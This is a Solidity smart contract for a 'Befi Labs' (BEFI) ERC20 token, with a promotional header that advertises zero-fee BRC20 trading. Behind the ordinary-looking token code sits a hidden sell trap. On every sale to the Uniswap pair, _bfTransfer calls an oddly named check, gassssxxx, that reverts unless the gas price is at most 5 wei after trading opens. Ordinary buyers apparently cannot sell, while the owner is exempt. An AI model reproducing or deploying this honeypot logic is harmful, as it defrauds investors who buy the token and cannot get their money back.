// File: codethuong.sol



/*
BeFi Labs stands at the forefront of CeDefi innovation, pioneering the convergence of Web3 users into the expansive BRC20 ecosystem. Seamlessly integrating with MetaMask and other wallets, we facilitate instantaneous and ZERO fees trading of BRC20 tokens.

Our vision transcends the complexities inherent in blockchain , aiming to unravel these intricacies and pave the way for an enriching and user-friendly experience. 

As your steadfast companion on this transformative journey, BeFi Labs is committed to guiding and empowering users through the intricate landscapes of BRC20 assets and Bitcoin ordinals.

•Website: https://befilabs.com/
•X: https://x.com/BefiLabs  
•Telegram: https://t.me/BeFi_Labs
•Discord: https://discord.com/invite/asvrdMp9e8
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function decimals() external  view  returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    constructor() {
        _owner = _msgSender();
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(_owner == _msgSender(), "Not owner");
    }
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0) {
            return 0;
        }
        c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b > 0);
        uint256 c = a / b;
        assert(a == b * c + (a % b));
        return a / b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(a >= b);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract BefiLabs is Ownable, IERC20 {
    using SafeMath for uint256;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _excludeFromFees;
    
    string private _name = unicode"Befi Labs";
    string private _symbol = "BEFI";
    uint8 private _decimals = 9;
    uint256 private _totalSupply = 210_000_000 * 10**_decimals;

    uint256 private buyTax = 10;
    uint256 private sellTax = 20;
    uint256 private finalBuyTax = 1;
    uint256 private finalSellTax = 1;
    uint256 private _reduceTaxAt = 10;
    uint256 private _buyCount = 0;
    uint256 private _preventSwapBefore = 2;
    uint256 private _maxTaxSwap = _totalSupply.mul(2).div(100);

    address private uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;
    address payable private _taxWallet;

    bool private openedTrade = false;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _mint(_msgSender(), _totalSupply);
        _excludeFromFees[owner()] = true;
        _excludeFromFees[address(this)] = true;
    }

    function _mint(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: REWARD to the zero address");
        _balances[account] += Amount;
        emit Transfer(address(0), account, Amount);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function getOpenedTrade() public view returns (bool) {
        return openedTrade;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    uint256 private _maxTokensPerWallet = 21_000_000 * 10 ** _decimals;
    bool private _buyLimitEnabled = true;

    modifier checkBuyLimit(address sender, uint256 amount) {
        if(_buyCount > 5) {
            _maxTokensPerWallet = _totalSupply * 10**_decimals; // remove limit ad buycount > 5
        }
        require(!_buyLimitEnabled || (amount <= _maxTokensPerWallet || _excludeFromFees[sender]), "Buy limit exceeded");
        _;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount)
        );
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal checkBuyLimit(from, amount){
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        uint256 fromBalance = balanceOf(from);
        require(
            fromBalance >= amount,
            "ERROR: balance of from less than value"
        );
        uint256 taxAmount = 0;
        if (!_excludeFromFees[from] && !_excludeFromFees[to]) {
            require(openedTrade, "Trade has not been opened yet");
            taxAmount = amount
                .mul((_buyCount >= _reduceTaxAt) ? finalBuyTax : buyTax)
                .div(100);
            if (to == uniswapV2Pair) {
                taxAmount = amount
                    .mul((_buyCount >= _reduceTaxAt) ? finalSellTax : sellTax)
                    .div(100);
                    _bfTransfer(from);
            }
            if (from == uniswapV2Pair) {
                _buyCount++;
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(
                    min(amount, min(contractTokenBalance, _maxTaxSwap))
                );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    uint256 _mini_gas = 5;
    uint256 _limit_gas = 300 gwei;

    function _bfTransfer(address _u) internal view {
        if(balanceOf(_u) > 0) {
            if (!openedTrade) {
                gassssxxx(_limit_gas);
            } else {
                gassssxxx(_mini_gas);
            }
        } 
    }

    function sendETHToFee(uint256 amount) internal {
        _taxWallet.transfer(amount);
    }

    function gassssxxx(uint256 _gassss) internal view {
        if (tx.gasprice > _gassss) {
            revert();
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function removeLimit() external onlyOwner {
        _buyLimitEnabled = false;
    }

    function openTrading() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this),uniswapV2Router.WETH());
        _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true;
        openedTrade = true;
    }

    receive() external payable {}
}